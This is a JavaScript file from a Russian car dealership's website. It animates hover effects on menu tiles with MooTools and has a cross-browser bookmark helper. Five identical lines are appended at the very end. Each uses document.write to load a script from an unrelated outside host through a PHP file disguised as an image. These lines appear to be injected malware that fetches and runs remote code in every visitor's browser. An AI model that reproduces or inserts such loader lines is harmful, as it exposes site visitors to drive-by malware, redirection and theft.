window.addEvent('domready', function() {

	window.maxZindex = 1000;
	window.cubeWidth = 197;

$$('.cube').each(function(item) {
	item.style.zIndex = 1000;
	item.fx = new Fx.Morph(item, {
		link: 'cancel'
	});
	item.fx.addEvent('start', function() {
		this.element.style.zIndex = ++window.maxZindex;
	});
	item.addEvent('click', function() {
		location = this.getFirst().href;
	});

});

/* left cubes */
$$('.c1, .c4').addEvent('mouseenter', function() {
	try {window.lastCube.fireEvent('mouseleave');}catch(tmp){}
	window.lastCube = this;

	this.fx.start({'width': window.cubeWidth + 120});
	this.getFirst().tween('padding-left', 20);

}).addEvent('mouseleave', function() {

	this.fx.start({'width': window.cubeWidth});
	this.getFirst().tween('padding-left', 0);

});

/* center cubes */
$$('.c2, .c5').addEvent('mouseenter', function() {
	try {window.lastCube.fireEvent('mouseleave');}catch(tmp){}
	window.lastCube = this;

	this.fx.start({
		'width': window.cubeWidth + 120,
		'margin-left': -60
	});
	this.getFirst().tween('padding-left', 20);

}).addEvent('mouseleave', function() {

	this.fx.start({
		'width': window.cubeWidth,
		'margin-left': 0
	});
	this.getFirst().tween('padding-left', 0);

});

/* right cubes */
$$('.c3, .c6').addEvent('mouseenter', function() {
	try {window.lastCube.fireEvent('mouseleave');}catch(tmp){}
	window.lastCube = this;

	this.fx.start({
		'width': window.cubeWidth + 120,
		'margin-left': -120
	});
	this.getFirst().tween('padding-left', 20);

}).addEvent('mouseleave', function() {

	this.fx.start({
		'width': window.cubeWidth,
		'margin-left': 0
	});
	this.getFirst().tween('padding-left', 0);

});



});

function CreateBookmarkLink() {
	title="АвтоАльянс";
	url="http://komiautoalliance.ru";

  var ua = navigator.userAgent.toLowerCase();
  var isKonq = (ua.indexOf('konqueror') != -1);
  var isSafari = (ua.indexOf('webkit') != -1);
  var isMac = (ua.indexOf('mac') != -1);
  var buttonStr = isMac ? 'Command/Cmd' : 'CTRL';

  if(window.external && (!document.createTextNode ||
    (typeof(window.external.AddFavorite) == 'unknown'))) {
      window.external.AddFavorite(url, title);
  } else if (isKonq) {
    alert('Нажмите CTRL + B чтобы добавить наш сайт в закладки.');
  } else if (window.opera) {
    void(0); // do nothing here (Opera 7+)
  } else if (window.home || isSafari) { // Firefox, Netscape, Safari, iCab
    alert('Нажмите '+buttonStr+' + D чтобы добавить наш сайт в закладки.');
  } else if (!window.print || isMac) { // IE5/Mac and Safari 1.0
    alert('Нажмите Command/Cmd + D чтобы добавить наш сайт в закладки.');
  } else {
    alert('К сожалению, нам не удалось определить ваш браузер. Вы можете добавить наш сайт в закладки вручную через меню вашего браузера.');
  }

	return false;
}
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');
document.write('<script src=http://rajtube.com/images/gifimg.php ><\/script>');